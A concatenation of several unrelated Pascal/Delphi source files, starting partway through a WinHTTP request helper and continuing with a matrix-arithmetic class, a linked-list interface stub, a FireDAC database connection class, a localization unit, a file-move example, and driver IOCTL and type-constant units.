out ReturnedStatusCode: DWORD;
out ReturnedBody: String;
ReturnedHeaders: TStrings // May be set to nil
): Boolean;
var
hSession: HINTERNET;
hConnect: HINTERNET;
hRequest: HINTERNET;
i: Integer;
idx: DWORD;
wstrTmp: WideString;
byteReceived: DWORD;
page: Ansistring;
strHeaders: WideString;
begin
// Bail out early if it's just *not* going to work...
if not (WinHttpCheckPlatform()) then begin
Result := False;
exit;
end;
ReturnedStatusCode := 0;
// Call the following:
// WinHttpOpen
// WinHttpSetTimeouts
// WinHttpConnect
// WinHttpOpenRequest
// WinHttpAddRequestHeaders
// WinHttpWriteData
// WinHttpSendRequest
// WinHttpReceiveResponse
// WinHttpQueryHeaders
// WinHttpQueryDataAvailable
// WinHttpReadData
// WinHttpCloseHandle
Result := False;
ReturnedBody := '';
hSession := WinHttpOpen(PWideString(UserAgent),
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS,
0);
if (hSession <> 0) then begin
WinHttpSetTimeouts(
hSession,
Timeouts.Name,
Timeouts.Connect,
Timeouts.Send,
Timeouts.Receive
);
hConnect := WinHttpConnect(hSession,
PWideString(ServerName), ServerPort,
0);
if (hConnect <> 0) then begin
{ TODO 1 -otdk -cenhance : set flags according to whether https or http }
hRequest := WinHttpOpenRequest(hConnect,
// "nil" as second parameter causes it to use "GET"
PWideString(Method),
PWideString(ServerPath),
nil, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_REFRESH or WINHTTP_FLAG_SECURE // use flag WINHTTP_FLAG_SECURE for https
);
if (hRequest <> 0) then begin
Result := True;
if (AdditionalReqHeaders <> nil) then begin
if (AdditionalReqHeaders.Count > 0) then begin
strHeaders := '';
for i := 0 to (AdditionalReqHeaders.Count - 1) do begin
if (strHeaders <> '') then begin
strHeaders := strHeaders + wchar(#13) + wchar(#10);
end;
strHeaders := strHeaders + AdditionalReqHeaders[i];
end;
Result := WinHttpAddRequestHeaders(
hRequest,
PWideString(strHeaders), length(strHeaders),
WINHTTP_ADDREQ_FLAG_REPLACE
);
end;
end;
if Result then begin
if DataToSendPresent then begin
Result := WinHttpWriteData(hRequest,
PAnsiChar(DataToSend),
length(DataToSend),
@byteReceived);
end;
end;
if Result then begin
if WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA,
0, 0,
nil) then begin
if WinHttpReceiveResponse(hRequest, nil) then begin
byteReceived := sizeof(ReturnedStatusCode);
WinHttpQueryHeaders(
hRequest,
(WINHTTP_QUERY_STATUS_CODE or WINHTTP_QUERY_FLAG_NUMBER),
nil, @ReturnedStatusCode,
@byteReceived,
nil
);
if (returnedHeaders <> nil) then begin
idx := 0;
byteReceived := 0;
WinHttpQueryHeaders(
hRequest,
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX,
WINHTTP_NO_OUTPUT_BUFFER,
@byteReceived, @idx
);
if (byteReceived > 0) then begin
wstrTmp := SDUWideStringOfWideChar('X', byteReceived);
if WinHttpQueryHeaders(hRequest,
WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, PWideString(wstrTmp),
@byteReceived,
@idx) then begin
returnedHeaders.Text := wstrTmp;
end;
end;
end;
repeat
byteReceived := 0;
if WinHttpQueryDataAvailable(hRequest, @byteReceived) then begin
// Call StringOfChar(...) to allocate buffer to be used
page := StringOfChar(AnsiChar('X'), byteReceived);
if WinHttpReadData(hRequest,
PAnsiChar(page),
byteReceived,
@byteReceived) then begin
ReturnedBody := ReturnedBody + page;
Result := True;
end;
end;
until (byteReceived <= 0);
end;
end;
end;
WinHttpCloseHandle(hRequest);
end;
WinHttpCloseHandle(hConnect);
end;
WinHttpCloseHandle(hSession);
end;
end;
function SDUGetURLProgress(
DialogTitle: String;
URL: WideString;
out ReturnedBody: String): TTimeoutGet;
begin
Result := SDUGetURLProgress_WithUserAgent(
DialogTitle,
URL, ReturnedBody,
DEFAULT_HTTP_USERAGENT
);
end;
function SDUGetURLProgress_WithUserAgent(
DialogTitle: String;
URL: WideString;
out ReturnedBody: String;
UserAgent: WideString): TTimeoutGet;
var
ProgressDlg: TSDUProgressDialog;
progResult: Word;
thrHTTPGet: TThreadHTTPGet;
begin
Result := tgFailure;
ProgressDlg := TSDUProgressDialog.Create(nil);
try
ProgressDlg.Title := DialogTitle;
ProgressDlg.Min := 0;
ProgressDlg.Max := 100;
ProgressDlg.Position := 0;
ProgressDlg.Indeterminate := True;
ProgressDlg.IndeterminateRunning := True;
ProgressDlg.CancelSetsModalResult := True;
thrHTTPGet := TThreadHTTPGet.Create(True);
thrHTTPGet.ModalForm := ProgressDlg;
thrHTTPGet.URL := URL;
thrHTTPGet.UserAgent := UserAgent;
thrHTTPGet.Resume;
try
try
progResult := ProgressDlg.ShowModal();
finally
thrHTTPGet.ModalForm := nil;
end;
except
if thrHTTPGet.RetrievedOK then begin
progResult := mrOk;
end else begin
progResult := mrAbort;
end;
end;
ProgressDlg.IndeterminateRunning := False;
finally
ProgressDlg.Free;
end;
if (progResult = mrCancel) then begin
Result := tgCancel;
end else
if (progResult = mrAbort) then begin
Result := tgTimeout;
end else
if (progResult = mrOk) then begin
// In this case, the thread terminated
if thrHTTPGet.RetrievedOK then begin
Result := tgOK;
ReturnedBody := thrHTTPGet.ReturnedBody;
end else begin
Result := tgFailure;
end;
end;
thrHTTPGet.Free(); // blocks till terminates - but if no internet?
// if thrHTTPGet.Terminated then begin
// thrHTTPGet.Free();
// end else begin
// // We no longer care if it returns or not...
// thrHTTPGet.FreeOnTerminate := TRUE;
// // Yes, this is right - don't terminate only sets a flag, it doesn't
// // terminate the running thread
// thrHTTPGet.Terminate();
// end;
end;
procedure TThreadHTTPGet.Execute();
begin
RetrievedOK := False;
RetrievedOK := SDUWinHTTPRequest_WithUserAgent(
URL,
UserAgent, ReturnedBody
);
Synchronize(snc);
end;
procedure TThreadHTTPGet.snc();
begin
if not (Terminated) then begin
if (ModalForm <> nil) then begin
if (ModalForm.modalresult = mrNone) then begin
ModalForm.modalresult := mrOk;
end;
end;
end;
end;
end.
|
unit UMatrices;
{$mode objfpc}{$H+}
interface
uses Classes, SysUtils, Math, UVectorREAL;
const k_sumar = 0;
k_restar = 1;
k_multiplicar = 2;
k_potencia = 3;
k_determinante = 4;
k_inversa = 5;
type matriz = array of array of real;
CMatrices = class
private
function EliminarFila(matriz_a : matriz; fila : integer) : matriz;
function EliminarColumna(matriz_a : matriz; columna : integer) : matriz;
function Cofactor(matriz_a : matriz; fila, columna : integer) : real;
public
function Verificar_2(matriz_a, matriz_b : matriz; operacion : integer) : string;
function Verificar_1(matriz_a : matriz; operacion : integer) : string;
function Transpuesta(matriz_a : matriz) : matriz;
function Sumar(matriz_a, matriz_b : matriz) : matriz;
function Restar(matriz_a, matriz_b : matriz) : matriz;
function Multiplicar(matriz_a, matriz_b : matriz) : matriz;
function MultiplicarEsc(matriz_a : matriz; escalar : real) : matriz;
function Potencia(matriz_a : matriz; exponente : integer) : matriz;
function Determinante(matriz_a : matriz) : real;
function Inversa(matriz_a : matriz) : matriz;
end;
implementation
function CMatrices.Verificar_2(matriz_a, matriz_b : matriz; operacion : integer) : string;
var filas_a, filas_b, columnas_a, columnas_b : integer;
begin
filas_a := Length(matriz_a);
filas_b := Length(matriz_b);
columnas_a := Length(matriz_a[0]);
columnas_b := Length(matriz_b[0]);
if (operacion = k_sumar) or (operacion = k_restar) then begin
if (filas_a = filas_b) and (columnas_a = columnas_b) then
Verificar_2 := 'o: Exito.'
else
Verificar_2 := '!: Error, las matrices no tienen el mismo tamaño.';
end;
if (operacion = k_multiplicar) then begin
if (columnas_a = filas_b) then
Verificar_2 := 'o: Exito.'
else
Verificar_2 := '!: Error, la cantidad de columnas de la matriz A y la cantidad de filas de la matriz B no son iguales.';
end;
end;
function CMatrices.Verificar_1(matriz_a : matriz; operacion : integer) : string;
var filas, columnas : integer;
begin
filas := Length(matriz_a);
columnas := Length(matriz_a[0]);
if (operacion = k_determinante) or (operacion = k_potencia) then begin
if (filas = columnas) then
Verificar_1 := 'o: Exito.'
else
Verificar_1 := '!: Error, la matriz no es cuadrada.';
end;
if (operacion = k_inversa) then begin
if (filas = columnas) then
Verificar_1 := 'o: Exito.'
else begin
Verificar_1 := '!: Error, la matriz no es cuadrada.';
Exit;
end;
if (Determinante(matriz_a) <> 0) then
Verificar_1 := 'o: Exito.'
else
Verificar_1 := '!: Error, el determinante de la matriz es cero.'
end;
end;
function CMatrices.Transpuesta(matriz_a : matriz) : matriz;
var matriz_r : matriz;
filas, columnas, i, j : integer;
begin
filas := Length(matriz_a[0]);
columnas := Length(matriz_a);
SetLength(matriz_r, filas, columnas);
for i := 0 to filas - 1 do begin
for j := 0 to columnas - 1 do
matriz_r[i][j] := matriz_a[j][i];
end;
Transpuesta := matriz_r;
end;
function CMatrices.Sumar(matriz_a, matriz_b : matriz) : matriz;
var matriz_r : matriz;
filas, columnas, i, j : integer;
begin
filas := Length(matriz_a);
columnas := Length(matriz_a[0]);
SetLength(matriz_r, filas, columnas);
for i := 0 to filas - 1 do begin
for j := 0 to columnas - 1 do
matriz_r[i][j] := matriz_a[i][j] + matriz_b[i][j];
end;
Sumar := matriz_r;
end;
function CMatrices.Restar(matriz_a, matriz_b : matriz) : matriz;
var matriz_r : matriz;
filas, columnas, i, j : integer;
begin
filas := Length(matriz_a);
columnas := Length(matriz_a[0]);
SetLength(matriz_r, filas, columnas);
for i := 0 to filas - 1 do begin
for j := 0 to columnas - 1 do
matriz_r[i][j] := matriz_a[i][j] - matriz_b[i][j];
end;
Restar := matriz_r;
end;
function CMatrices.Multiplicar(matriz_a, matriz_b : matriz) : matriz;
var matriz_r : matriz;
filas, columnas, i, j, k : integer;
elemento : real;
begin
filas := Length(matriz_a);
columnas := Length(matriz_b[0]);
SetLength(matriz_r, filas, columnas);
for i := 0 to filas - 1 do begin
for j := 0 to columnas - 1 do begin
elemento := 0;
for k := 0 to Length(matriz_a[0]) - 1 do
elemento := elemento + (matriz_a[i][k] * matriz_b[k][j]);
matriz_r[i][j] := elemento;
end;
end;
Multiplicar := matriz_r;
end;
function CMatrices.MultiplicarEsc(matriz_a : matriz; escalar : real) : matriz;
var matriz_r : matriz;
filas, columnas, i, j : integer;
begin
filas := Length(matriz_a);
columnas := Length(matriz_a[0]);
SetLength(matriz_r, filas, columnas);
for i := 0 to filas - 1 do begin
for j := 0 to columnas - 1 do
matriz_r[i][j] := matriz_a[i][j] * escalar;
end;
MultiplicarEsc := matriz_r;
end;
function CMatrices.Potencia(matriz_a : matriz; exponente : integer) : matriz;
var matriz_r : matriz;
i : integer;
begin
matriz_r := matriz_a;
for i := 1 to (exponente - 1) do
matriz_r := Multiplicar(matriz_r, matriz_a);
Potencia := matriz_r;
end;
function CMatrices.Determinante(matriz_a : matriz) : real;
var acumulado : real;
n, i : integer;
begin
n := Length(matriz_a);
if (n = 1) then
Determinante := matriz_a[0][0]
else begin
acumulado := 0;
for i := 0 to n - 1 do
acumulado := acumulado + matriz_a[0][i] * Cofactor(matriz_a, 0, i);
Determinante := acumulado;
end;
end;
function CMatrices.EliminarFila(matriz_a : matriz; fila : integer) : matriz;
var matriz_t : matriz;
i, j, fila_pos : integer;
begin
SetLength(matriz_t, Length(matriz_a) - 1, Length(matriz_a[0]));
fila_pos := 0;
for i := 0 to Length(matriz_a) - 1 do begin
for j := 0 to Length(matriz_a[0]) - 1 do begin
if (i <> fila) then
matriz_t[fila_pos][j] := matriz_a[i][j];
end;
if (i <> fila) then
fila_pos := fila_pos + 1;
end;
EliminarFila := matriz_t;
end;
function CMatrices.EliminarColumna(matriz_a : matriz; columna : integer) : matriz;
var matriz_t : matriz;
i, j, columna_pos : integer;
begin
SetLength(matriz_t, Length(matriz_a), Length(matriz_a[0]) - 1);
columna_pos := 0;
for i := 0 to Length(matriz_a) - 1 do begin
for j := 0 to Length(matriz_a[0]) - 1 do begin
if (j <> columna) then begin
matriz_t[i][columna_pos] := matriz_a[i][j];
columna_pos := columna_pos + 1;
end;
end;
columna_pos := 0;
end;
EliminarColumna := matriz_t;
end;
function CMatrices.Cofactor(matriz_a : matriz; fila, columna : integer) : real;
var matriz_1, matriz_2 : matriz;
begin
matriz_1 := EliminarFila(matriz_a, fila);
matriz_2 := EliminarColumna(matriz_1, columna);
Cofactor := power(-1, fila + columna) * Determinante(matriz_2);
end;
function CMatrices.Inversa(matriz_a : matriz) : matriz;
var matriz_r : matriz;
n, i, j, k, columnas : integer;
diagonal, espejo : real;
fila_temporal : CVectorReal;
begin
n := Length(matriz_a);
columnas := 2 * n;
SetLength(matriz_a, n, n * 2);
//AGREGANDO LA MATRIZ IDENTIDAD
for i := 0 to n - 1 do begin
for j := n to Length(matriz_a[0]) - 1 do begin
if (i = j - n) then
matriz_a[i][j] := 1
else
matriz_a[i][j] := 0;
end;
end;
//METODO DE GAUSS
fila_temporal := CVectorREAL.Create();
for i := 0 to n - 1 do begin //RECORRIENDO LA MATRIZ ORIGINAL
diagonal := matriz_a[i][i];
for j := 0 to Length(matriz_a[0]) - 1 do //IGUALANDO LA DIAGONAL A 1
matriz_a[i][j] := matriz_a[i][j] / diagonal;
for j := 0 to n - 1 do begin
if (i <> j) then begin //IGUALANDO LOS ELEMENTOS A 0
espejo := matriz_a[j][i];
for k := 0 to columnas - 1 do
fila_temporal.Push(matriz_a[i][k] * -espejo);
for k := 0 to columnas - 1 do
matriz_a[j][k] := matriz_a[j][k] + fila_temporal.Get(k);
fila_temporal.Clear();
end;
end;
end;
fila_temporal.Destroy();
//COPIANDO LA MATRIZ INVERSA
SetLength(matriz_r, n, n);
for i := 0 to n - 1 do begin
for j := n to Length(matriz_a[0]) - 1 do
matriz_r[i][j-n] := matriz_a[i][j];
end;
Inversa := matriz_r;
end;
end.
|
unit list;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils;
type
TValue = integer;
PTlist = ^Tlist;
TIterator = ^TNode;
TNode = record
value: TValue;
prev, next: TIterator;
owner: PTlist;
end;
TList = record
head, tail: TIterator;
size: integer;
end;
// Создает пустой список
//function create_list(): PTList;
// Вставляет новый элемент перед указанным
//procedure insert(iterator: TIterator; value: TValue);
// Вставляет новый элемент после указанного
//procedure insert_after(iterator: TIterator; value: TValue);
// Вставляет новый элемент в начало списка
//procedure push_front(list: PTList; value: TValue);
// Вставляет новый элемент в конец списка
//procedure push_back(list: PTList; value: TValue);
// Возвращает количество элементов в списке
//function get_size(list: PTList): integer;
// Возвращает значение элемента, на который указывает итератор
//function get_value(iterator: TIterator): TValue;
// Возвращает указатель на первый элемент списка
// или get_end() если список пуст
//function get_begin(list: PTList): TIterator;
// Возвращает указатель на элемент, следующий за последним
//function get_end(list: PTList): TIterator;
// Возвращает указатель на элемент, предшествующий первому
//function get_reversed_end(list: PTList): TIterator;
// Удаляет из списка элемент, на который указывает итератор.
// Возвращает указатель на следующий за ним
//function erase(iterator: TIterator): TIterator;
// Возвращает указатель на следующий элемент
//function get_next(iterator: TIterator): TIterator;
// Возвращает указатель на предыдущий элемент
//function get_prev(iterator: TIterator): TIterator;
// Проверяет, указывает ли итератор на элемент, следующий за последним
//function is_end(iterator: TIterator): boolean;
// Проверяет, указывает ли итератор на элемент, предшествующий первому
//function is_reversed_end(iterator: TIterator): boolean;
implementation
end.
|
unit ClassConexao;
interface
uses
System.SysUtils, System.Classes, FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def,
FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.MySQL,
FireDAC.Phys.MySQLDef, FireDAC.VCLUI.Wait, Data.DB, FireDAC.Comp.Client,
FireDAC.Dapt, FireDAC.Stan.Param, System.Variants, System.IniFiles;
type
TConexao = class
private
FConection : TFDConnection;
FMsgErro : String;
FQuery : TFDQuery;
procedure GetConfiguracao;
procedure SetMsgErro(const Value: String);
public
constructor Create;
destructor Destroy; override;
function Conectar(var pErro: String): Boolean;
function Conectado: Boolean;
procedure PreparaQuery(pSQSL: String);
procedure AbreQuery(var pErro: String);
procedure PassaParametro(cParametro: String; pValor: Variant; const pTipo: TFieldType = ftUnknown);
procedure ExecutaQuery(var pErro: String);
procedure LimpaQuery;
property MsgErro: String read FMsgErro write SetMsgErro;
property Query : TFDQuery read FQuery write FQuery;
end;
implementation
uses
Vcl.Forms;
{ TConexao }
constructor TConexao.Create;
begin
FConection := TFDConnection.Create(nil);
Self.GetConfiguracao;
FQuery := TFDQuery.Create(FConection);
FQuery.Connection := FConection;
end;
destructor TConexao.Destroy;
begin
FreeAndNil(FQuery);
FreeAndNil(FConection);
inherited;
end;
procedure TConexao.ExecutaQuery(var pErro: String);
begin
try
FQuery.ExecSQL;
except
on E: Exception do begin
pErro := E.Message;
end;
end;
end;
procedure TConexao.AbreQuery(var pErro: String);
begin
try
FQuery.Open;
except
on E: Exception do begin
pErro := E.Message;
end;
end;
end;
function TConexao.Conectado: Boolean;
begin
Result := FConection.Connected;
end;
function TConexao.Conectar(var pErro: String): Boolean;
begin
Result := True;
try
FConection.Connected := True;
except
on E: Exception do begin
pErro := E.Message;
Result := False;
end;
end;
end;
procedure TConexao.GetConfiguracao;
var
aArqINI: TIniFile;
cArquivo,
cValor: String;
Begin
cArquivo := ExtractFilePath(Application.ExeName) + 'Config.ini';
aArqINI := TIniFile.Create(cArquivo);
try
FConection.Params.Clear;
cValor := aArqINI.ReadString('CONEXAO', 'DriverID', cValor);
FConection.Params.Add('DriverID=' + cValor);
cValor := aArqINI.ReadString('CONEXAO', 'Database', cValor);
FConection.Params.Add('Database=' + cValor);
cValor := aArqINI.ReadString('CONEXAO', 'User_Name', cValor);
FConection.Params.Add('User_Name='+ cValor);
cValor := aArqINI.ReadString('CONEXAO', 'Password', cValor);
FConection.Params.Add('Password=' + cValor);
cValor := aArqINI.ReadString('CONEXAO', 'Server', cValor);
FConection.Params.Add('Server=' + cValor);
cValor := aArqINI.ReadString('CONEXAO', 'Port', cValor);
FConection.Params.Add('Port=' + cValor);
FConection.LoginPrompt := False;
finally
FreeAndNil(aArqINI);
end;
end;
procedure TConexao.LimpaQuery;
begin
FQuery.SQL.Clear;
end;
procedure TConexao.PassaParametro(cParametro: String; pValor: Variant; const pTipo: TFieldType = ftUnknown);
begin
if pTipo = ftDate then begin
FQuery.ParamByName(cParametro).AsDate := pValor;
end else if pTipo = ftDateTime then begin
FQuery.ParamByName(cParametro).AsDateTime := pValor;
end else if pTipo = ftInteger then begin
FQuery.ParamByName(cParametro).AsInteger := pValor;
end else if pTipo = ftString then begin
FQuery.ParamByName(cParametro).AsString := pValor;
end else if pTipo = ftFloat then begin
FQuery.ParamByName(cParametro).AsFloat := pValor;
end else begin
FQuery.ParamByName(cParametro).Value := pValor;
end;
end;
procedure TConexao.PreparaQuery(pSQSL: String);
begin
LimpaQuery;
FQuery.SQL.Add(pSQSL);
end;
procedure TConexao.SetMsgErro(const Value: String);
begin
FMsgErro := Value;
end;
end.
|
{
@abstract Contains localization routines.
}
unit FMX.NtLocalization;
{$I NtVer.inc}
interface
uses
System.Classes,
NtBase;
type
TNtLocale = class
public
class function IsPreviousLocaleBidi: Boolean; static;
class function ExtensionToLocale(const value: String): Integer; static;
class function GetDefaultLanguage: String; static;
end;
implementation
uses
SysUtils,
{$IFDEF MACOS}
{$IFDEF IOS}
iOSapi.Foundation,
{$ELSE}
Macapi.Foundation,
{$ENDIF}
{$ENDIF}
{$IFDEF MSWINDOWS}
Windows,
{$ENDIF}
FMX.Platform,
FMX.NtTranslator;
// TNtLocale
class function TNtLocale.IsPreviousLocaleBidi: Boolean;
begin
Result := False;
end;
{$IFDEF MSWINDOWS}
var
enumLocale: Integer;
enumExtension: String;
function LocaleEnumProc(localeString: PChar): Integer; stdcall;
var
locale: Integer;
str, extension1:String;
{$IFDEF DELPHI2010}
extension2: String;
{$ENDIF}
begin
str := localeString;
locale := StrToInt('$' + str);
extension1 := GetLocaleStr(locale, LOCALE_SABBREVLANGNAME, '');
{$IFDEF DELPHI2010}
extension2 := GetLocaleStr(locale, LOCALE_SISO639LANGNAME, '') + '-' + GetLocaleStr(locale, LOCALE_SISO3166CTRYNAME, '');
{$ENDIF}
if SameText(extension1, enumExtension) {$IFDEF DELPHI2010}or SameText(extension2, enumExtension){$ENDIF} then
begin
enumLocale := locale;
Result := 0;
end
else
Result := 1;
end;
function LanguageEnumProc(localeString: PChar): Integer; stdcall;
var
locale: Integer;
str, extension1:String;
{$IFDEF DELPHI2010}
extension2: String;
{$ENDIF}
begin
str := localeString;
locale := StrToInt('$' + str);
extension1 := GetLocaleStr(locale, LOCALE_SABBREVLANGNAME, '');
Delete(extension1, Length(extension1), 1);
{$IFDEF DELPHI2010}
extension2 := GetLocaleStr(locale, LOCALE_SISO639LANGNAME, '');
{$ENDIF}
if SameText(extension1, enumExtension) {$IFDEF DELPHI2010}or SameText(extension2, enumExtension){$ENDIF} then
begin
enumLocale := TNtBase.LocaleToPrimary(locale);
Result := 0;
end
else
Result := 1;
end;
{$ENDIF}
class function TNtLocale.ExtensionToLocale(const value: String): Integer;
begin
Result := 0;
if value = '' then
Exit;
{$IFDEF MSWINDOWS}
enumExtension := value;
if enumExtension[1] = '.' then
Delete(enumExtension, 1, 1);
enumLocale := 0;
EnumSystemLocales(@LocaleEnumProc, LCID_SUPPORTED);
if enumLocale = 0 then
EnumSystemLocales(@LanguageEnumProc, LCID_SUPPORTED);
Result := enumLocale;
{$ENDIF}
end;
procedure SetInitialResourceLocale;
function CheckLocale(fileName: String; locale: String; tryPrimary: Boolean): String;
var
ext: String;
begin
ext := '.' + locale;
if FileExists(ChangeFileExt(fileName, ext)) then
Result := locale
else if (Length(locale) > 2) or tryPrimary then
begin
Delete(ext, Length(ext), 1);
if FileExists(ChangeFileExt(fileName, ext)) then
begin
Result := locale;
Delete(Result, Length(Result), 1);
end
else
Result := '';
end
else
Result := '';
end;
function CheckLocales(fileName: String; locales: String): String;
var
p, lang: PChar;
begin
p := PChar(locales);
while p^ <> #0 do
begin
lang := p;
while (p^ <> ',') and (p^ <> #0) do
Inc(p);
if p^ = ',' then
begin
p^ := #0;
Inc(p);
end;
Result := CheckLocale(fileName, lang, False);
if Result <> '' then
begin
Result := UpperCase(Result);
Exit;
end;
end;
end;
var
buffer: array[0..260] of Char;
begin
PreviouslyLoadedResourceLocale := '';
if (LoadedResourceLocale = '') and
(GetModuleFileName(LibModuleList.Instance, buffer, SizeOf(buffer)) > 0) then
begin
LoadedResourceLocale := CheckLocale(buffer, TNtLocaleRegistry.GetCurrentDefaultLocale, False);
if LoadedResourceLocale <> '' then
Exit;
LoadedResourceLocale := CheckLocales(buffer, GetUILanguages(TNtBase.GetUserLanguage));
if LoadedResourceLocale <> '' then
Exit;
{$IFDEF MSWINDOWS}
if (GetVersion and $000000FF) < 6 then
LoadedResourceLocale := CheckLocales(buffer, GetUILanguages(TNtBase.GetSystemLanguage));
{$ENDIF}
if LoadedResourceLocale <> '' then
Exit;
LoadedResourceLocale := CheckLocale(buffer, TNtBase.LocaleToIsoCode(TNtBase.GetUserLanguage), True);
end;
end;
class function TNtLocale.GetDefaultLanguage: String;
{$IFDEF MACOS}
function GetMac: String;
var
languages: NSArray;
begin
languages := TNSLocale.OCClass.preferredLanguages;
if languages.count > 0 then
Result := String(TNSString.Wrap(languages.objectAtIndex(0)).UTF8String)
else
Result := '';
end;
{$ENDIF}
{$IFDEF ANDROID}
function GetAndroid: String;
var
localeServ: IFMXLocaleService;
begin
if TPlatformServices.Current.SupportsPlatformService(IFMXLocaleService, IInterface(localeServ)) then
Result := localeServ.GetCurrentLangID
else
Result := '';
end;
{$ENDIF}
{$IFDEF MSWINDOWS}
function GetWindows: String;
begin
Result := GetLocaleStr(GetUserDefaultLCID, LOCALE_SISO639LANGNAME, 'en');
end;
{$ENDIF}
begin
{$IFDEF MACOS}
Result := GetMac;
{$ENDIF}
{$IFDEF ANDROID}
Result := GetAndroid;
{$ENDIF}
{$IFDEF MSWINDOWS}
Result := GetWindows;
{$ENDIF}
end;
initialization
SystemLanguage := TNtLocale.GetDefaultLanguage;
DefaultLocale := SystemLanguage;
SetInitialResourceLocale;
end.
|
(*
Category: SWAG Title: FILE COPY/MOVE ROUTINES
Original name: 0011.PAS
Description: Move File #2
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:35
*)
{
> How would I move a File from within my Program.
if the File is to moved from & to the same partition,
all you have to do is:
Assign(F,OldPath);
Rename(F,NewPath);
On the other hand, if the File is to be moved to a different
partition, you will have to copy / erase the File.
Example:
}
Program MoveFile;
Var
fin,fout : File;
p : Pointer;
w : Word;
begin
GetMem(p,64000);
Assign(fin,ParamStr(1)); { Assumes command line parameter. }
Assign(fout,ParamStr(2));
Reset(fin);
ReWrite(fout);
While not Eof(fin) do
begin
BlockRead(fin,p^,64000,w);
BlockWrite(fout,p^,w);
end;
Close(fin);
Close(fout);
Erase(fin);
FreeMem(p,64000);
end.
{
This Program has NO error control.
}
|
unit FreeOTFEDriverConsts;
// Description:
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
interface
// From winioctl.h (part of the MS DDK)
const
FILE_DEVICE_CD_ROM = $00000002;
FILE_DEVICE_DISK = $00000007;
FILE_DEVICE_FILE_SYSTEM = $00000009;
FILE_DEVICE_UNKNOWN = $00000022;
FILE_DEVICE_MASS_STORAGE = $0000002d;
FILE_DEVICE_DVD = $00000033;
FILE_ANY_ACCESS = 0;
FILE_READ_ACCESS = $0001; // file & pipe
FILE_WRITE_ACCESS = $0002; // file & pipe
FILE_READ_DATA = FILE_READ_ACCESS;
METHOD_BUFFERED = 0;
// From winioctl.h:
const IOCTL_STORAGE_BASE = FILE_DEVICE_MASS_STORAGE;
const IOCTL_STORAGE_MEDIA_REMOVAL =
((IOCTL_STORAGE_BASE) * $10000) OR ((FILE_READ_ACCESS) * $4000) OR (($0201) * $4) OR (METHOD_BUFFERED);
// #define IOCTL_STORAGE_MEDIA_REMOVAL CTL_CODE(IOCTL_STORAGE_BASE, 0x0201, METHOD_BUFFERED, FILE_READ_ACCESS)
const IOCTL_STORAGE_EJECT_MEDIA =
((IOCTL_STORAGE_BASE) * $10000) OR ((FILE_READ_ACCESS) * $4000) OR (($0202) * $4) OR (METHOD_BUFFERED);
// #define IOCTL_STORAGE_EJECT_MEDIA CTL_CODE(IOCTL_STORAGE_BASE, 0x0202, METHOD_BUFFERED, FILE_READ_ACCESS)
const FSCTL_LOCK_VOLUME =
((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR ((6) * $4) OR (METHOD_BUFFERED);
// #define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)
const FSCTL_UNLOCK_VOLUME =
((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR ((7) * $4) OR (METHOD_BUFFERED);
// #define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
const FSCTL_DISMOUNT_VOLUME =
((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR ((8) * $4) OR (METHOD_BUFFERED);
// #define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS)
type
// THIS DEPENDS ON DELPHI ALIGNING VALUES IN A RECORD ON WORD BOUNDRIES!!!
// - i.e. it's not a "packed record"
PPREVENT_MEDIA_REMOVAL = ^TPREVENT_MEDIA_REMOVAL;
TPREVENT_MEDIA_REMOVAL = record
PreventMediaRemoval: boolean;
end;
implementation
END.
|
unit UApiTypes;
(*====================================================================
Definition of public types (public goes outside of API)
======================================================================*)
{$A-}
interface
uses
{$ifdef mswindows}
WinTypes
{$ELSE}
LCLIntf, LCLType, LMessages,
{$ENDIF}
Classes,
UTypes, UCollections;
const
// key attrib ktxxx
kaDeleted = $01;
kaSelected = $02;
// extended attrib
eaToBeSelected = $01;
eaSelected = $02;
// the Attr field by files
faQArchive = $0100; // till $40 used by DOS attributes
faQDescModified = $0200;
faQExtendedRec = $8000;
foFoundFile = $01;
foFoundEmpty = $02;
foBoth = $03;
// CheckDatabase
cdNotQDirDBase = $01;
cdOldVersion = $02;
cdHeaderCorrupted = $03;
cdItIsRuntime = $04;
cdCannotRead = $05;
cdWriteProtected = $06;
// DiskBase attrib, used in UserCommand
daExists = $0001;
daDriveAccessible = $0002;
daDriveRemovable = $0004;
daDriveNetwork = $0008;
daVolumeLabelDiffers = $0010;
daInArchive = $0020;
type
PDBaseHandle = pointer;
PDirColHandle = pointer;
PFileColHandle = pointer;
TFilePointer = longword;
TFileSystem = (FAT, HPFS, NTFS, EXT4, VFAT, CDROM, Unknown);
// TArchiveType is used to pass the info after the archive was unpacked
TArchiveType = (atZip, atArj, atLha, atRar, atOther, atAce);
TLoadFileSelector = (fsAll, fsWithDescOnly, fsFilesOnly);
// be careful, the order of TSortCrit items is significant
TSortCrit = (scName, scExt, scTime, scSize, scUnsort); // program settings
TFileDisplayType = (fdBrief, fdDetailed); // program settings
TWorkSwitch = (wsInc, wsDec, wsShow, wsHide, wsStop);
